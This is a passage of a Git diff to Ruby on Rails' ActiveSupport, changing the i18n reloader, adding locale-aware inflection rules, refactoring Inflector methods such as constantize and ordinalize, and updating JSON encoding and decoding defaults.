--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -9,20 +9,6 @@ module I18n
     config.i18n.load_path = []
     config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
 
-    def self.reloader
-      @reloader ||= ActiveSupport::FileUpdateChecker.new([]){ I18n.reload! }
-    end
-
-    # Add <tt>I18n::Railtie.reloader</tt> to ActionDispatch callbacks. Since, at this
-    # point, no path was added to the reloader, I18n.reload! is not triggered
-    # on to_prepare callbacks. This will only happen on the config.after_initialize
-    # callback below.
-    initializer "i18n.callbacks" do
-      ActionDispatch::Reloader.to_prepare do
-        I18n::Railtie.reloader.execute_if_updated
-      end
-    end
-
     # Set the i18n configuration after initialization since a lot of
     # configuration is still usually done in application initializers.
     config.after_initialize do |app|
@@ -58,8 +44,10 @@ module I18n
 
       init_fallbacks(fallbacks) if fallbacks && validate_fallbacks(fallbacks)
 
-      reloader.paths.concat I18n.load_path
-      reloader.execute_if_updated
+      reloader = ActiveSupport::FileUpdateChecker.new(I18n.load_path.dup){ I18n.reload! }
+      app.reloaders << reloader
+      ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
+      reloader.execute
 
       @i18n_inited = true
     end
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
index daf2a1e1d9..ef882ebd09 100644
--- a/activesupport/lib/active_support/inflections.rb
+++ b/activesupport/lib/active_support/inflections.rb
@@ -1,8 +1,10 @@
+require 'active_support/inflector/inflections'
+
 module ActiveSupport
-  Inflector.inflections do |inflect|
+  Inflector.inflections(:en) do |inflect|
     inflect.plural(/$/, 's')
     inflect.plural(/s$/i, 's')
-    inflect.plural(/(ax|test)is$/i, '\1es')
+    inflect.plural(/^(ax|test)is$/i, '\1es')
     inflect.plural(/(octop|vir)us$/i, '\1i')
     inflect.plural(/(octop|vir)i$/i, '\1i')
     inflect.plural(/(alias|status)$/i, '\1es')
@@ -16,17 +18,18 @@ module ActiveSupport
     inflect.plural(/([^aeiouy]|qu)y$/i, '\1ies')
     inflect.plural(/(x|ch|ss|sh)$/i, '\1es')
     inflect.plural(/(matr|vert|ind)(?:ix|ex)$/i, '\1ices')
-    inflect.plural(/([m|l])ouse$/i, '\1ice')
-    inflect.plural(/([m|l])ice$/i, '\1ice')
+    inflect.plural(/^(m|l)ouse$/i, '\1ice')
+    inflect.plural(/^(m|l)ice$/i, '\1ice')
     inflect.plural(/^(ox)$/i, '\1en')
     inflect.plural(/^(oxen)$/i, '\1')
     inflect.plural(/(quiz)$/i, '\1zes')
 
     inflect.singular(/s$/i, '')
+    inflect.singular(/(ss)$/i, '\1')
     inflect.singular(/(n)ews$/i, '\1ews')
     inflect.singular(/([ti])a$/i, '\1um')
-    inflect.singular(/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)ses$/i, '\1\2sis')
-    inflect.singular(/(^analy)ses$/i, '\1sis')
+    inflect.singular(/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)(sis|ses)$/i, '\1sis')
+    inflect.singular(/(^analy)(sis|ses)$/i, '\1sis')
     inflect.singular(/([^f])ves$/i, '\1fe')
     inflect.singular(/(hive)s$/i, '\1')
     inflect.singular(/(tive)s$/i, '\1')
@@ -35,13 +38,14 @@ module ActiveSupport
     inflect.singular(/(s)eries$/i, '\1eries')
     inflect.singular(/(m)ovies$/i, '\1ovie')
     inflect.singular(/(x|ch|ss|sh)es$/i, '\1')
-    inflect.singular(/([m|l])ice$/i, '\1ouse')
-    inflect.singular(/(bus)es$/i, '\1')
+    inflect.singular(/^(m|l)ice$/i, '\1ouse')
+    inflect.singular(/(bus)(es)?$/i, '\1')
     inflect.singular(/(o)es$/i, '\1')
     inflect.singular(/(shoe)s$/i, '\1')
-    inflect.singular(/(cris|ax|test)es$/i, '\1is')
-    inflect.singular(/(octop|vir)i$/i, '\1us')
-    inflect.singular(/(alias|status)es$/i, '\1')
+    inflect.singular(/(cris|test)(is|es)$/i, '\1is')
+    inflect.singular(/^(a)x[ie]s$/i, '\1xis')
+    inflect.singular(/(octop|vir)(us|i)$/i, '\1us')
+    inflect.singular(/(alias|status)(es)?$/i, '\1')
     inflect.singular(/^(ox)en/i, '\1')
     inflect.singular(/(vert|ind)ices$/i, '\1ex')
     inflect.singular(/(matr)ices$/i, '\1ix')
@@ -56,6 +60,6 @@ module ActiveSupport
     inflect.irregular('cow', 'kine')
     inflect.irregular('zombie', 'zombies')
 
-    inflect.uncountable(%w(equipment information rice money species series fish sheep jeans))
+    inflect.uncountable(%w(equipment information rice money species series fish sheep jeans police))
   end
 end
diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb
index 90bb62f57b..091692e5a4 100644
--- a/activesupport/lib/active_support/inflector/inflections.rb
+++ b/activesupport/lib/active_support/inflector/inflections.rb
@@ -1,9 +1,15 @@
+require 'active_support/core_ext/array/prepend_and_append'
+require 'active_support/i18n'
+
 module ActiveSupport
   module Inflector
+    extend self
+
     # A singleton instance of this class is yielded by Inflector.inflections, which can then be used to specify additional
-    # inflection rules. Examples:
+    # inflection rules. If passed an optional locale, rules for other languages can be specified. The default locale is
+    # <tt>:en</tt>. Only rules for English are provided.
     #
-    #   ActiveSupport::Inflector.inflections do |inflect|
+    #   ActiveSupport::Inflector.inflections(:en) do |inflect|
     #     inflect.plural /^(ox)$/i, '\1\2en'
     #     inflect.singular /^(ox)en/i, '\1'
     #
@@ -16,8 +22,9 @@ module ActiveSupport
     # pluralization and singularization rules that is runs. This guarantees that your rules run before any of the rules that may
     # already have been loaded.
     class Inflections
-      def self.instance
-        @__instance__ ||= new
+      def self.instance(locale = :en)
+        @__instance__ ||= Hash.new { |h, k| h[k] = new }
+        @__instance__[locale]
       end
 
       attr_reader :plurals, :singulars, :uncountables, :humans, :acronyms, :acronym_regex
@@ -26,12 +33,18 @@ module ActiveSupport
         @plurals, @singulars, @uncountables, @humans, @acronyms, @acronym_regex = [], [], [], [], {}, /(?=a)b/
       end
 
+      # Private, for the test suite.
+      def initialize_dup(orig)
+        %w(plurals singulars uncountables humans acronyms acronym_regex).each do |scope|
+          instance_variable_set("@#{scope}", orig.send(scope).dup)
+        end
+      end
+
       # Specifies a new acronym. An acronym must be specified as it will appear in a camelized string.  An underscore
       # string that contains the acronym will retain the acronym when passed to `camelize`, `humanize`, or `titleize`.
       # A camelized string that contains the acronym will maintain the acronym when titleized or humanized, and will
       # convert the acronym into a non-delimited single lowercase word when passed to +underscore+.
       #
-      # Examples:
       #   acronym 'HTML'
       #   titleize 'html' #=> 'HTML'
       #   camelize 'html' #=> 'HTML'
@@ -61,7 +74,6 @@ module ActiveSupport
       # `acronym` may be used to specify any word that contains an acronym or otherwise needs to maintain a non-standard
       # capitalization. The only restriction is that the word must begin with a capital letter.
       #
-      # Examples:
       #   acronym 'RESTful'
       #   underscore 'RESTful' #=> 'restful'
       #   underscore 'RESTfulController' #=> 'restful_controller'
@@ -82,7 +94,7 @@ module ActiveSupport
       def plural(rule, replacement)
         @uncountables.delete(rule) if rule.is_a?(String)
         @uncountables.delete(replacement)
-        @plurals.insert(0, [rule, replacement])
+        @plurals.prepend([rule, replacement])
       end
 
       # Specifies a new singularization rule and its replacement. The rule can either be a string or a regular expression.
@@ -90,13 +102,12 @@ module ActiveSupport
       def singular(rule, replacement)
         @uncountables.delete(rule) if rule.is_a?(String)
         @uncountables.delete(replacement)
-        @singulars.insert(0, [rule, replacement])
+        @singulars.prepend([rule, replacement])
       end
 
       # Specifies a new irregular that applies to both pluralization and singularization at the same time. This can only be used
       # for strings, not regular expressions. You simply pass the irregular in singular and plural form.
       #
-      # Examples:
       #   irregular 'octopus', 'octopi'
       #   irregular 'person', 'people'
       def irregular(singular, plural)
@@ -118,7 +129,6 @@ module ActiveSupport
 
       # Add uncountable words that shouldn't be attempted inflected.
       #
-      # Examples:
       #   uncountable "money"
       #   uncountable "money", "information"
       #   uncountable %w( money information rice )
@@ -130,18 +140,16 @@ module ActiveSupport
       # When using a regular expression based replacement, the normal humanize formatting is called after the replacement.
       # When a string is used, the human form should be specified as desired (example: 'The name', not 'the_name')
       #
-      # Examples:
       #   human /_cnt$/i, '\1_count'
       #   human "legacy_col_person_name", "Name"
       def human(rule, replacement)
-        @humans.insert(0, [rule, replacement])
+        @humans.prepend([rule, replacement])
       end
 
       # Clears the loaded inflections within a given scope (default is <tt>:all</tt>).
       # Give the scope as a symbol of the inflection type, the options are: <tt>:plurals</tt>,
       # <tt>:singulars</tt>, <tt>:uncountables</tt>, <tt>:humans</tt>.
       #
-      # Examples:
       #   clear :all
       #   clear :plurals
       def clear(scope = :all)
@@ -155,17 +163,18 @@ module ActiveSupport
     end
 
     # Yields a singleton instance of Inflector::Inflections so you can specify additional
-    # inflector rules.
+    # inflector rules. If passed an optional locale, rules for other languages can be specified.
+    # If not specified, defaults to <tt>:en</tt>. Only rules for English are provided.
+    # 
     #
-    # Example:
-    #   ActiveSupport::Inflector.inflections do |inflect|
+    #   ActiveSupport::Inflector.inflections(:en) do |inflect|
     #     inflect.uncountable "rails"
     #   end
-    def inflections
+    def inflections(locale = :en)
       if block_given?
-        yield Inflections.instance
+        yield Inflections.instance(locale)
       else
-        Inflections.instance
+        Inflections.instance(locale)
       end
     end
   end
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
index 144cdd3c8f..44214d16fa 100644
--- a/activesupport/lib/active_support/inflector/methods.rb
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -1,4 +1,7 @@
+# encoding: utf-8
+
 require 'active_support/inflector/inflections'
+require 'active_support/inflections'
 
 module ActiveSupport
   # The Inflector transforms words from singular to plural, class names to table names, modularized class names to ones without,
@@ -7,33 +10,41 @@ module ActiveSupport
   #
   # The Rails core team has stated patches for the inflections library will not be accepted
   # in order to avoid breaking legacy applications which may be relying on errant inflections.
-  # If you discover an incorrect inflection and require it for your application, you'll need
-  # to correct it yourself (explained below).
+  # If you discover an incorrect inflection and require it for your application or wish to
+  # define rules for languages other than English, please correct or add them yourself (explained below).
   module Inflector
     extend self
 
     # Returns the plural form of the word in the string.
     #
-    # Examples:
+    # If passed an optional +locale+ parameter, the word will be
+    # pluralized using rules defined for that language. By default,
+    # this parameter is set to <tt>:en</tt>.
+    #
     #   "post".pluralize             # => "posts"
     #   "octopus".pluralize          # => "octopi"
     #   "sheep".pluralize            # => "sheep"
     #   "words".pluralize            # => "words"
     #   "CamelOctopus".pluralize     # => "CamelOctopi"
-    def pluralize(word)
-      apply_inflections(word, inflections.plurals)
+    #   "ley".pluralize(:es)         # => "leyes"
+    def pluralize(word, locale = :en)
+      apply_inflections(word, inflections(locale).plurals)
     end
 
     # The reverse of +pluralize+, returns the singular form of a word in a string.
     #
-    # Examples:
+    # If passed an optional +locale+ parameter, the word will be
+    # pluralized using rules defined for that language. By default,
+    # this parameter is set to <tt>:en</tt>.
+    #
     #   "posts".singularize            # => "post"
     #   "octopi".singularize           # => "octopus"
     #   "sheep".singularize            # => "sheep"
     #   "word".singularize             # => "word"
     #   "CamelOctopi".singularize      # => "CamelOctopus"
-    def singularize(word)
-      apply_inflections(word, inflections.singulars)
+    #   "leyes".singularize(:es)       # => "ley"
+    def singularize(word, locale = :en)
+      apply_inflections(word, inflections(locale).singulars)
     end
 
     # By default, +camelize+ converts strings to UpperCamelCase. If the argument to +camelize+
@@ -41,11 +52,10 @@ module ActiveSupport
     #
     # +camelize+ will also convert '/' to '::' which is useful for converting paths to namespaces.
     #
-    # Examples:
-    #   "active_record".camelize                # => "ActiveRecord"
-    #   "active_record".camelize(:lower)        # => "activeRecord"
-    #   "active_record/errors".camelize         # => "ActiveRecord::Errors"
-    #   "active_record/errors".camelize(:lower) # => "activeRecord::Errors"
+    #   "active_model".camelize                # => "ActiveModel"
+    #   "active_model".camelize(:lower)        # => "activeModel"
+    #   "active_model/errors".camelize         # => "ActiveModel::Errors"
+    #   "active_model/errors".camelize(:lower) # => "activeModel::Errors"
     #
     # As a rule of thumb you can think of +camelize+ as the inverse of +underscore+,
     # though there are cases where that does not hold:
@@ -65,9 +75,8 @@ module ActiveSupport
     #
     # Changes '::' to '/' to convert namespaces to paths.
     #
-    # Examples:
-    #   "ActiveRecord".underscore         # => "active_record"
-    #   "ActiveRecord::Errors".underscore # => active_record/errors
+    #   "ActiveModel".underscore         # => "active_model"
+    #   "ActiveModel::Errors".underscore # => "active_model/errors"
     #
     # As a rule of thumb you can think of +underscore+ as the inverse of +camelize+,
     # though there are cases where that does not hold:
@@ -75,7 +84,7 @@ module ActiveSupport
     #   "SSLError".underscore.camelize # => "SslError"
     def underscore(camel_cased_word)
       word = camel_cased_word.to_s.dup
-      word.gsub!(/::/, '/')
+      word.gsub!('::', '/')
       word.gsub!(/(?:([A-Za-z\d])|^)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1}#{$1 && '_'}#{$2.downcase}" }
       word.gsub!(/([A-Z\d]+)([A-Z][a-z])/,'\1_\2')
       word.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
@@ -87,35 +96,35 @@ module ActiveSupport
     # Capitalizes the first word and turns underscores into spaces and strips a
     # trailing "_id", if any. Like +titleize+, this is meant for creating pretty output.
     #
-    # Examples:
     #   "employee_salary" # => "Employee salary"
     #   "author_id"       # => "Author"
     def humanize(lower_case_and_underscored_word)
       result = lower_case_and_underscored_word.to_s.dup
-      inflections.humans.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
+      inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
       result.gsub!(/_id$/, "")
-      result.gsub(/(_)?([a-z\d]*)/i) { "#{$1 && ' '}#{inflections.acronyms[$2] || $2.downcase}" }.gsub(/^\w/) { $&.upcase }
+      result.tr!('_', ' ')
+      result.gsub(/([a-z\d]*)/i) { |match|
+        "#{inflections.acronyms[match] || match.downcase}"
+      }.gsub(/^\w/) { $&.upcase }
     end
 
     # Capitalizes all the words and replaces some characters in the string to create
     # a nicer looking title. +titleize+ is meant for creating pretty output. It is not
     # used in the Rails internals.
     #
-    # +titleize+ is also aliased as as +titlecase+.
+    # +titleize+ is also aliased as +titlecase+.
     #
-    # Examples:
     #   "man from the boondocks".titleize   # => "Man From The Boondocks"
     #   "x-men: the last stand".titleize    # => "X Men: The Last Stand"
     #   "TheManWithoutAPast".titleize       # => "The Man Without A Past"
     #   "raiders_of_the_lost_ark".titleize  # => "Raiders Of The Lost Ark"
     def titleize(word)
-      humanize(underscore(word)).gsub(/\b('?[a-z])/) { $1.capitalize }
+      humanize(underscore(word)).gsub(/\b(?<!['’`])[a-z]/) { $&.capitalize }
     end
 
     # Create the name of a table like Rails does for models to table names. This method
     # uses the +pluralize+ method on the last word in the string.
     #
-    # Examples
     #   "RawScaledScorer".tableize # => "raw_scaled_scorers"
     #   "egg_and_ham".tableize     # => "egg_and_hams"
     #   "fancyCategory".tableize   # => "fancy_categories"
@@ -127,7 +136,6 @@ module ActiveSupport
     # Note that this returns a string and not a Class. (To convert to an actual class
     # follow +classify+ with +constantize+.)
     #
-    # Examples:
     #   "egg_and_hams".classify # => "EggAndHam"
     #   "posts".classify        # => "Post"
     #
@@ -140,10 +148,9 @@ module ActiveSupport
 
     # Replaces underscores with dashes in the string.
     #
-    # Example:
-    #   "puni_puni" # => "puni-puni"
+    #   "puni_puni".dasherize # => "puni-puni"
     def dasherize(underscored_word)
-      underscored_word.gsub(/_/, '-')
+      underscored_word.tr('_', '-')
     end
 
     # Removes the module part from the expression in the string:
@@ -178,7 +185,6 @@ module ActiveSupport
     # +separate_class_name_and_id_with_underscore+ sets whether
     # the method should put '_' between the name and 'id'.
     #
-    # Examples:
     #   "Message".foreign_key        # => "message_id"
     #   "Message".foreign_key(false) # => "messageid"
     #   "Admin::Post".foreign_key    # => "post_id"
@@ -186,46 +192,46 @@ module ActiveSupport
       underscore(demodulize(class_name)) + (separate_class_name_and_id_with_underscore ? "_id" : "id")
     end
 
-    # Ruby 1.9 introduces an inherit argument for Module#const_get and
-    # #const_defined? and changes their default behavior.
-    if Module.method(:const_get).arity == 1
-      # Tries to find a constant with the name specified in the argument string:
-      #
-      #   "Module".constantize     # => Module
-      #   "Test::Unit".constantize # => Test::Unit
-      #
-      # The name is assumed to be the one of a top-level constant, no matter whether
-      # it starts with "::" or not. No lexical context is taken into account:
-      #
-      #   C = 'outside'
-      #   module M
-      #     C = 'inside'
-      #     C               # => 'inside'
-      #     "C".constantize # => 'outside', same as ::C
-      #   end
-      #
-      # NameError is raised when the name is not in CamelCase or the constant is
-      # unknown.
-      def constantize(camel_cased_word)
-        names = camel_cased_word.split('::')
-        names.shift if names.empty? || names.first.empty?
+    # Tries to find a constant with the name specified in the argument string:
+    #
+    #   "Module".constantize     # => Module
+    #   "Test::Unit".constantize # => Test::Unit
+    #
+    # The name is assumed to be the one of a top-level constant, no matter whether
+    # it starts with "::" or not. No lexical context is taken into account:
+    #
+    #   C = 'outside'
+    #   module M
+    #     C = 'inside'
+    #     C               # => 'inside'
+    #     "C".constantize # => 'outside', same as ::C
+    #   end
+    #
+    # NameError is raised when the name is not in CamelCase or the constant is
+    # unknown.
+    def constantize(camel_cased_word)
+      names = camel_cased_word.split('::')
+      names.shift if names.empty? || names.first.empty?
 
-        constant = Object
-        names.each do |name|
-          constant = constant.const_defined?(name) ? constant.const_get(name) : constant.const_missing(name)
-        end
-        constant
-      end
-    else
-      def constantize(camel_cased_word) #:nodoc:
-        names = camel_cased_word.split('::')
-        names.shift if names.empty? || names.first.empty?
+      names.inject(Object) do |constant, name|
+        if constant == Object
+          constant.const_get(name)
+        else
+          candidate = constant.const_get(name)
+          next candidate if constant.const_defined?(name, false)
+          next candidate unless Object.const_defined?(name)
+
+          # Go down the ancestors to check it it's owned
+          # directly before we reach Object or the end of ancestors.
+          constant = constant.ancestors.inject do |const, ancestor|
+            break const    if ancestor == Object
+            break ancestor if ancestor.const_defined?(name, false)
+            const
+          end
 
-        constant = Object
-        names.each do |name|
-          constant = constant.const_defined?(name, false) ? constant.const_get(name) : constant.const_missing(name)
+          # owner is in Object, so raise
+          constant.const_get(name, false)
         end
-        constant
       end
     end
 
@@ -255,17 +261,38 @@ module ActiveSupport
       begin
         constantize(camel_cased_word)
       rescue NameError => e
-        raise unless e.message =~ /uninitialized constant #{const_regexp(camel_cased_word)}$/ ||
+        raise unless e.message =~ /(uninitialized constant|wrong constant name) #{const_regexp(camel_cased_word)}$/ ||
           e.name.to_s == camel_cased_word.to_s
       rescue ArgumentError => e
         raise unless e.message =~ /not missing constant #{const_regexp(camel_cased_word)}\!$/
       end
     end
 
+    # Returns the suffix that should be added to a number to denote the position
+    # in an ordered sequence such as 1st, 2nd, 3rd, 4th.
+    #
+    #   ordinal(1)     # => "st"
+    #   ordinal(2)     # => "nd"
+    #   ordinal(1002)  # => "nd"
+    #   ordinal(1003)  # => "rd"
+    #   ordinal(-11)   # => "th"
+    #   ordinal(-1021) # => "st"
+    def ordinal(number)
+      if (11..13).include?(number.to_i.abs % 100)
+        "th"
+      else
+        case number.to_i.abs % 10
+          when 1; "st"
+          when 2; "nd"
+          when 3; "rd"
+          else    "th"
+        end
+      end
+    end
+
     # Turns a number into an ordinal string used to denote the position in an
     # ordered sequence such as 1st, 2nd, 3rd, 4th.
     #
-    # Examples:
     #   ordinalize(1)     # => "1st"
     #   ordinalize(2)     # => "2nd"
     #   ordinalize(1002)  # => "1002nd"
@@ -273,16 +300,7 @@ module ActiveSupport
     #   ordinalize(-11)   # => "-11th"
     #   ordinalize(-1021) # => "-1021st"
     def ordinalize(number)
-      if (11..13).include?(number.to_i.abs % 100)
-        "#{number}th"
-      else
-        case number.to_i.abs % 10
-          when 1; "#{number}st"
-          when 2; "#{number}nd"
-          when 3; "#{number}rd"
-          else    "#{number}th"
-        end
-      end
+      "#{number}#{ordinal(number)}"
     end
 
     private
@@ -300,16 +318,15 @@ module ActiveSupport
 
     # Applies inflection rules for +singularize+ and +pluralize+.
     #
-    # Examples:
     #  apply_inflections("post", inflections.plurals) # => "posts"
     #  apply_inflections("posts", inflections.singulars) # => "post"
     def apply_inflections(word, rules)
       result = word.to_s.dup
 
-      if word.empty? || inflections.uncountables.any? { |inflection| result =~ /\b#{inflection}\Z/i }
+      if word.empty? || inflections.uncountables.include?(result.downcase[/\b\w+\Z/])
         result
       else
-        rules.each { |(rule, replacement)| break if result.gsub!(rule, replacement) }
+        rules.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
         result
       end
     end
diff --git a/activesupport/lib/active_support/inflector/transliterate.rb b/activesupport/lib/active_support/inflector/transliterate.rb
index 40e7a0e389..a372b6d1f7 100644
--- a/activesupport/lib/active_support/inflector/transliterate.rb
+++ b/activesupport/lib/active_support/inflector/transliterate.rb
@@ -66,8 +66,6 @@ module ActiveSupport
 
     # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
     #
-    # ==== Examples
-    #
     #   class Person
     #     def to_param
     #       "#{id}-#{name.parameterize}"
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
index cbeb6c0a28..e44939e78a 100644
--- a/activesupport/lib/active_support/json/decoding.rb
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -8,8 +8,13 @@ module ActiveSupport
 
   module JSON
     class << self
+      # Parses a JSON string (JavaScript Object Notation) into a hash.
+      # See www.json.org for more info.
+      #
+      #   ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}")
+      #   => {"team" => "rails", "players" => "36"}
       def decode(json, options ={})
-        data = MultiJson.decode(json, options)
+        data = MultiJson.load(json, options)
         if ActiveSupport.parse_json_times
           convert_dates_from(data)
         else
@@ -18,12 +23,12 @@ module ActiveSupport
       end
 
       def engine
-        MultiJson.engine
+        MultiJson.adapter
       end
       alias :backend :engine
 
       def engine=(name)
-        MultiJson.engine = name
+        MultiJson.use(name)
       end
       alias :backend= :engine=
 
@@ -34,6 +39,14 @@ module ActiveSupport
         self.backend = old_backend
       end
 
+      # Returns the class of the error that will be raised when there is an error in decoding JSON.
+      # Using this method means you won't directly depend on the ActiveSupport's JSON implementation, in case it changes in the future.
+      #
+      #   begin
+      #     obj = ActiveSupport::JSON.decode(some_string)
+      #   rescue ActiveSupport::JSON.parse_error
+      #     Rails.logger.warn("Attempted to decode invalid JSON: #{some_string}")
+      #   end
       def parse_error
         MultiJson::DecodeError
       end
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index 469ae69258..1a95bd63e6 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -1,11 +1,9 @@
 require 'active_support/core_ext/object/to_json'
 require 'active_support/core_ext/module/delegation'
 require 'active_support/json/variable'
-require 'active_support/ordered_hash'
 
 require 'bigdecimal'
 require 'active_support/core_ext/big_decimal/conversions' # for #to_s
-require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/hash/except'
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/object/instance_variables'
@@ -19,6 +17,7 @@ module ActiveSupport
   class << self
     delegate :use_standard_json_time_format, :use_standard_json_time_format=,
       :escape_html_entities_in_json, :escape_html_entities_in_json=,
+      :encode_big_decimal_as_string, :encode_big_decimal_as_string=,
       :to => :'ActiveSupport::JSON::Encoding'
   end
 
@@ -26,7 +25,10 @@ module ActiveSupport
     # matches YAML-formatted dates
     DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
 
-    # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
+    # Dumps objects in JSON (JavaScript Object Notation). See www.json.org for more info.
+    #
+    #   ActiveSupport::JSON.encode({team: 'rails', players: '36'})
+    #   # => "{\"team\":\"rails\",\"players\":\"36\"}"
     def self.encode(value, options = nil)
       Encoding::Encoder.new(options).encode(value)
     end
@@ -50,9 +52,9 @@ module ActiveSupport
         end
 
         # like encode, but only calls as_json, without encoding to string
-        def as_json(value)
+        def as_json(value, use_options = true)
           check_for_circular_references(value) do
-            value.as_json(options_for(value))
+            use_options ? value.as_json(options_for(value)) : value.as_json
           end
         end
 
@@ -106,6 +108,9 @@ module ActiveSupport
         # If true, use ISO 8601 format for dates and times. Otherwise, fall back to the Active Support legacy format.
         attr_accessor :use_standard_json_time_format
 
+        # If false, serializes BigDecimal objects as numeric instead of wrapping them in a string
+        attr_accessor :encode_big_decimal_as_string
+
         attr_accessor :escape_regex
         attr_reader :escape_html_entities_in_json
 
@@ -119,9 +124,7 @@ module ActiveSupport
         end
 
         def escape(string)
-          if string.respond_to?(:force_encoding)
-            string = string.encode(::Encoding::UTF_8, :undef => :replace).force_encoding(::Encoding::BINARY)
-          end
+          string = string.encode(::Encoding::UTF_8, :undef => :replace).force_encoding(::Encoding::BINARY)
           json = string.
             gsub(escape_regex) { |s| ESCAPED_CHARS[s] }.
             gsub(/([\xC0-\xDF][\x80-\xBF]|
@@ -130,13 +133,14 @@ module ActiveSupport
             s.unpack("U*").pack("n*").unpack("H*")[0].gsub(/.{4}/n, '\\\\u\&')
           }
           json = %("#{json}")
-          json.force_encoding(::Encoding::UTF_8) if json.respond_to?(:force_encoding)
+          json.force_encoding(::Encoding::UTF_8)
           json
         end
       end
 
       self.use_standard_json_time_format = true
-      self.escape_html_entities_in_json  = false
+      self.escape_html_entities_in_json  = true
+      self.encode_big_decimal_as_string  = true
     end
   end
 end
@@ -151,39 +155,74 @@ class Object
   end
 end
 
-class Struct
-  def as_json(options = nil) #:nodoc:
+class Struct #:nodoc:
+  def as_json(options = nil)
     Hash[members.zip(values)]
   end
 end
 
 class TrueClass
-  AS_JSON = ActiveSupport::JSON::Variable.new('true').freeze
-  def as_json(options = nil) AS_JSON end #:nodoc:
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+
+  def encode_json(encoder) #:nodoc:
+    to_s
+  end
 end
 
 class FalseClass
-  AS_JSON = ActiveSupport::JSON::Variable.new('false').freeze
-  def as_json(options = nil) AS_JSON end #:nodoc:
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+
+  def encode_json(encoder) #:nodoc:
+    to_s
+  end
 end
 
 class NilClass
-  AS_JSON = ActiveSupport::JSON::Variable.new('null').freeze
-  def as_json(options = nil) AS_JSON end #:nodoc:
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+
+  def encode_json(encoder) #:nodoc:
+    'null'
+  end
 end
 
 class String
-  def as_json(options = nil) self end #:nodoc:
-  def encode_json(encoder) encoder.escape(self) end #:nodoc:
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+
+  def encode_json(encoder) #:nodoc:
+    encoder.escape(self)
+  end
 end
 
 class Symbol
-  def as_json(options = nil) to_s end #:nodoc:
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
 end
 
 class Numeric
-  def as_json(options = nil) self end #:nodoc:
-  def encode_json(encoder) to_s end #:nodoc:
+  def as_json(options = nil) #:nodoc:
+    self
+  end
+
+  def encode_json(encoder) #:nodoc:
+    to_s
+  end
+end
+
+class Float
+  # Encoding Infinity or NaN to JSON should return "null". The default returns
+  # "Infinity" or "NaN" which breaks parsing the JSON. E.g. JSON.parse('[NaN]').
+  def as_json(options = nil) #:nodoc:
+    finite? ? self : nil
+  end
 end
 
 class BigDecimal
@@ -195,11 +234,21 @@ class BigDecimal
   # That's why a JSON string is returned. The JSON literal is not numeric, but if
   # the other end knows by contract that the data is supposed to be a BigDecimal,
   # it still has the chance to post-process the string and get the real value.
-  def as_json(options = nil) to_s end #:nodoc:
+  #
+  # Use ActiveSupport.use_standard_json_big_decimal_format = true to override this behaviour
+  def as_json(options = nil) #:nodoc:
+    if finite?
+      ActiveSupport.encode_big_decimal_as_string ? to_s : self
+    else
+      nil
+    end
+  end
 end
 
 class Regexp
-  def as_json(options = nil) to_s end #:nodoc:
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
 end
 
 module Enumerable
@@ -208,11 +257,17 @@ module Enumerable
   end
 end
 
+class Range
+  def as_json(options = nil) #:nodoc:
+    to_s
+  end
+end
+
 class Array
   def as_json(options = nil) #:nodoc:
     # use encoder as a proxy to call as_json on all elements, to protect from circular references
     encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
-    map { |v| encoder.as_json(v) }
+    map { |v| encoder.as_json(v, options) }
   end
 
   def encode_json(encoder) #:nodoc:
@@ -226,9 +281,9 @@ class Hash
     # create a subset of the hash by applying :only or :except
     subset = if options
       if attrs = options[:only]
-        slice(*Array.wrap(attrs))
+        slice(*Array(attrs))
       elsif attrs = options[:except]
-        except(*Array.wrap(attrs))
+        except(*Array(attrs))
       else
         self
       end
@@ -238,11 +293,10 @@ class Hash
 
     # use encoder as a proxy to call as_json on all values in the subset, to protect from circular references
     encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
-    result = self.is_a?(ActiveSupport::OrderedHash) ? ActiveSupport::OrderedHash : Hash
-    result[subset.map { |k, v| [k.to_s, encoder.as_json(v)] }]
+    Hash[subset.map { |k, v| [k.to_s, encoder.as_json(v, options)] }]
   end
 
-  def encode_json(encoder)
+  def encode_json(encoder) #:nodoc:
     # values are encoded with use_options = false, because we don't want hash representations from ActiveModel to be
     # processed once again with as_json with options, as this could cause unexpected results (i.e. missing fields);
 
diff --git a/activesupport/lib/active_support/json/variable.rb b/activesupport/lib/active_support/json/variable.rb
